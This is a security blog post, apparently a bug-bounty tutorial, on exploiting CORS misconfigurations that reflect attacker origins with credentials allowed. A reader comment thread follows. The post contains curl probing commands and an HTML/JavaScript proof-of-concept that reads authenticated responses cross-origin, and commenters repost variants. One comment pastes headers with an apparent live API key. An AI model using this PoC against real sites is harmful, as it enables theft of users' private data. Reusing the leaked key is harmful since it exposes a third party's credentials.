Hello Friends!
few days before noticed a blog post for exploiting Facebook chat and reading all the chats of users so that made me to interested to know about the issues, and basically it was misconfigured CORS configuration where null origin is allowed with credentials true, it was not something heard for the 1st time, @albinowax from the portswigger explained it very well in his blog post, so after reading that messenger blog post I went to test for the same issue for some targets where I allowed to test it.
but before that here are some tips about CORS where it can be exploitable from the attacker’s point of view:
-
Poorly implemented, Best case for Attack:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
-
Poorly implemented, Exploitable:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
-
Bad implementation but not exploitable:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
or just
Access-Control-Allow-Origin: *
even this is not good from the development point of view but due to its own rules of CORS if Access-Control-Allow-Origin set to * we don’t get benefit Access-Control-Allow-Credentials: true means no cookie access of the victim.
When you can’t exploit even if above misconfigurations are present:
- Presence of any custom header in the request which is getting used to authenticate the user.
- Presence of any unique/authentication/key in the request URI
I’m not covering basic details about CORS in this post as in earlier blog posts all the details are covered.
I mentioned 3 cases where first two cases are exploitable in that example of 2nd case is Facebook Messenger chat issue which I mentioned in an earlier section of the post, and example of 1st case is mine which I found 2 days before where any arbitrary Origin is allowed and the same Origin get reflected back to Access-Control-Allow-Origin with Credentials set to True, the best way I found to check for CORS issue is using CURL.
eg : curl https://test.victim.com -H "Origin: https://geekboy.ninja"
-I and check the response if Origin is reflected in the response or not.
OR if your burp pro user, Burp Active Scan may find this for you, but in this specific case the root URL was not vulnerable when I checked it manually, curl https://my.target.com -H "Origin: https://geekboy.ninja" -I
, the Origin didn’t get reflected but when I requested specific endpoint where all users data getting back into the response curl https://my.target.com/api/web/user -H "Origin: https://geekboy.ninja" -I
it reflected back with my host with Credentials set to True and that’s enough to make this work and steal all that data.
HTML Poc code:-
<!DOCTYPE html> <html> <body> <center> <h2>CORS POC Exploit</h2> <h3>Extract SID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "https://target.com/info/", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
And here how it worked 🙂
Sources for better understanding of CORS:
- http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS
- https://ejj.io/misconfigured-cors/
Views/Suggestions/Edits always welcome 🙂
Thanks for the post, but is don’t clearly at all, you say here that Access-Control-Allow-Origin: * is not exploitable, but is exploitable
more info: https://www.linkedin.com/pulse/abusing-insecure-cors-bypassing-csrf-protection-without-pundir
please if this is right correct them.
thanks
Hello ak1t4,
in your same reference if you noticed the header named “Access-Control-Allow-Credentials” , if this is not set as True, you cant access the response of your request, in simple term, you cant ride on users cookie.
so even if “Access-Control-Allow-Origin” is set to “*” but “Access-Control-Allow-Credentials” is not set to “true”, then u cant abuse the behaviour, but true setting “Access-Control-Allow-Origin” to “*” is not good practice.
hope this will clear your doubt.
Perfect reply. Thanks in advance!
So, the web application should not use this header?
Server: nginx/1.12.2
Date: Thu, 18 Oct 2018 06:33:08 GMT
Content-Type: text/html
Content-Length: 6586
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
X-Frame-Options: SAMEORIGIN
Access-Control-Allow-Origin: [Link deleted]
Is that exploitable?
Hi,
Just wanted to clear one thing here: Even if “Access-Control-Allow-Origin” is set to “*” and “Access-Control-Allow-Credentials” is set to “true”, then you cannot exploit this scenario as browser restricts this by default. Your POC won’t be able to make authenticated requests as cookies won’t be appended.
Yeah, i think the admin made a mistake in saying “not true”
Can you please be more specific on this point?
@ak1t4
Hi sir, I am very sorry for any confusion after my POST. Actually I did this post on a very basic environment just to show How CORS can be abused. After Portswigger post, We have also discussed the same thing in comments.
@geekboy. Thank you for your gr8 post, Huge fan of your work on hacker-one. Learnt so much from you in web app security.
Overall conclusion, in order to steal something from the authenticated response. Access-control-allow-credentials must be set to true.
Thank you and np 🙂
If i am not wrong access control allow credential is for the cookie, i mean we can capture the cookies? If i am wrong then please clarify me?
Thanks Bro Geekboy nice Tutorial on CORS …Got the Point …
Hi geekboy,
i found in one websites is that
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
as per your tutorial its case-3
so, i used curl command but i am getting authorization error.
i got header as a
Authorization: Bearer realm blah blah..
an authentication object was not found in the security content.
can you please explain?
sure, if u read it again i updated the blog that if there is any additional header or header based authentication is present then you can’t abuse this behaviour.
Hi,
Thanks for the much clarification by they on above screen shot
same I’m getting but when I try to exploit it I can’t find anything
useful you haven’t described last past when you exploited it may
be for privacy reason but it would be appreciated if you can clear
my confusion and why my exploit isn’t working what thing I’m missing there
Regards
Mansoor
if you can share your scenario or redacted request & response, maybe i can help after that.
same response I’m getting like how you got using curl even using burp or any source but the main part is here which I didn’t understand how to exploit it how to perform attack with exploit
if you could share that how to actually use exploit against this
hey, you can make GET & POST request of behalf of victim, like you do in CSRF and you get retrieve the info as well.
Could you please tell me how to exploit this further after the curl command. Code snippet under POC is really confusing me as I’m not a coding guy. Could you please assist me on getting the sensitive response in the malicious domain/browser
Check this: https://pastebin.com/QgPNsR0V
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json;version=1.0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: APIKey apikey=prdakyrespQBtEtvaclVBEgFGmd7NQflbRaCvHRhAy, apikey_version=1.0
itid: mw-111-24698fd8-53ab-4fbf-92b23-c7da9rc41d53d
Cache-Control: no-cache
Pragma: no-cache
Referer: somedomain.com
Origin: attacker.com
In response, I am getting that:
Access-control-allow-credentials: True
Access-control-allow-origin: attacker.com
Check with this: https://pastebin.com/QgPNsR0V
Hi Geekboy,
Can you tell mw how can i inject this code in CORS vulnerable site ?
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById(“demo”).innerHTML =
alert(this.responseText);
}
};
xhttp.open(“GET”, “https://demo.test.com/abc/ab/abcd”, true);
xhttp.withCredentials = true;
xhttp.send();
}
Check this : https://pastebin.com/ek3pztwt
Geekboy is a Superstar, MEGASTAR, please keep writing , you are inspiring many of us.
Missed a chance to meet you in jaipur few days ago!!!!!!!!!!!!
Can anyone define this code please!, In short way but in plain English.
Simple XHR request which exploiting misconfigured cors policy of target application.
Hey admin, i want to ask something, i don’t what i am asking is valid or not but anyways,,
How did you get the contents in your domain, i means “In your code you didn’t specify the your domain but you get the contents? How, What i am missing here? please clarify me, i hope you understand the question :-p
Hey, surely i can see what you mean here!
i can see content on my host as i hosted the code on my domain, you can host wherever you prefer, and for poc, its test poc code, you need to change it as per your target if it’s vulnerable.
Hey admin! i want to know that what is the cause of that input/Host you provided is reflected back to the response, what is the weak config behind this?
Can you please help me out this?
hey geekboy
i found such a vuln webapp ant used your poc code but on clicking exploit nothing happens 🙁
You can check the error on your browser console for the reason.
Hello Geekboy,
Can you pls give me a vulnerable demo page for testing this vulnerebility..?
Shared! I’m pretty sure a few friends would like to read this.
Hi,
How we can say this as an issue as if the app utl is hit directly I get the details so how making the response to display in the alert is an issue.
Sorry but I am bit confused.
If it’s an issue how one can remediate it.
If you able to load authenticated data via your controlled host, it should be an issue, and by validating the requesting ORIGIN value you can fix it.
Thanks geekboy…!!
Hello,
If a website uses CORS and one of the POST request to api endpoint allows ACAO to be set to anything using Burp, is it a security issue? if so how can one prove it?
Hey, yes! just change request method get to post and add the body of post data into the request.
Thanks for the quick response, could you please let me know how below post request can be added in the request as you suggested above?
“POST /test/demo_form.php HTTP/1.1
Host: w3schools.com
name1=value1&name2=value2”
Hey there,
Is it possible in this situation?
HTTP/1.1 400 Bad Request
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www.evil.com
Content-Length: 41
{“code”:1,”message”:”Session ID unknown”}
is there any chance to exploit this ?
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Date: Fri, 01 Jun 2018 18:49:47 GMT
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET
Timing-Allow-Origin: *
X-Rate-Limit-Limit: 100000
X-Rate-Limit-Interval: 60
X-Rate-Limit-Reset: 1527879047
Last-Modified: Tue, 04 Aug 2015 18:29:11 GMT
ETag: “27e50f7afb7077d5b5595ba1c98b61ab”
Cache-Control: max-age=43200,s-maxage=300
Vary: Accept-Encoding
Age: 77
X-Cache: Hit from cloudfront
Via: 1.1 b25e11574059cb446d7bface97673c46.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 3X7CBK9JBlsFri63n_n70Qy4n5TNmKxvkiji8n2LY6FV-pcVSgdtJg==
Content-Length: 1064
Access-Control-Allow-Origin: *
No, this is not a vulnerability.
hey i was testing on a site and it is vulnerable to cors but when i exploited with your code it get exploited but i dont get anything except jetpacks and all that normal stuff so when i reported it they rejected my bug saying no sensitive information can be extracted.
so is there anything i can do about that? or it is just not vulnerable even if everything is set to true?? i need to know so i can move forward..thank you in advanced
You need to update the endpoint with your target and if doesn’t disclose any sensitive information, it’s not an issue.
Hi,
Burp has detected the Issue: Cross-origin resource sharing: arbitrary origin trusted.
I used this script in order to exploit the issue, but i cannot reach the page (status: 403, error: “Forbidden”).
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById(“demo”).innerHTML = alert(this.responseText);
}
};
xhttp.open(“GET”, “[Link deleted]true);
xhttp.withCredentials = true;
xhttp.send();
}
Here the header modified by Burp:
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 13 Jun 2019 07:34:18 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Vary: Accept-Encoding
Access-Control-Allow-Origin: [Link deleted]
Vary: Origin
Access-Control-Allow-Credentials: true
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src * data: ‘unsafe-eval’ ‘unsafe-inline’
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 194
You don’t seem to have proven or exploited anything.
The browser has done the request on the client’s side and popped up the web page’s data. That’s fine. How do you as attacker.com now read this? The request isn’t sending this data back to the attacker.
Hey, in this case, I’ve loaded the users PII information from the remote website to on my website.
Thanks for the nice post 🙂
hey how to use the code admin?
Hey, just clone the GitHub project and host it on any HTTP web server.
Hi,
I just wanted to ask how will i detect that api endpoint ?
Like i know a website which is vulnerable but how should i approach to find that target website like in your poc it is url.com/web/api/user
You can automate the detection for the root URLs, but for endpoints like this, you need to manually check and confirm while browsing the application.
Hi Geekboy,
A great post to understand the CORS Exploitation.
I have a scenario, where if i put one more origin header in request then application is accepting it as “Access-Control-Allow-Origin: injected_header domain, application domain “.
My question is, can we add a custom origin header through the HTML code when making a cross domain request.
Thank you, Adding extra header or two headers for the same request will be discarded by the browser, you can set custom header with JS but you can not make a cross-origin request unless you have XSS on the target website.
Access-Control-Allow-Origin: [Link deleted]
Only this is allowed in respose.
I can pass any domain in header…
Can this is exploitable?
Hey Geekboy,
Is it a compulsion that “Access-control-allow-credentials” should be set true in every case (wildcard/null/anything) to be exploited.
It is reflecting attacker.com in the “Origin” but there is no header of “Access-control-allow-credentials: true”. Is it exploitable?
Hi,
i have scenario where Access-Control-Allow-Origin:attacker.com and Access-Control-Allow-Credentials: true but still i am not able to exploit it why ?